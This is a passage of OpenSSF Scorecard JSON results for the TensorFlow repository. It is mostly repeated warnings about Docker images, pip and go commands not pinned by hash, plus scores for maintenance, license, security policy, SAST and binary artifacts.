results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: 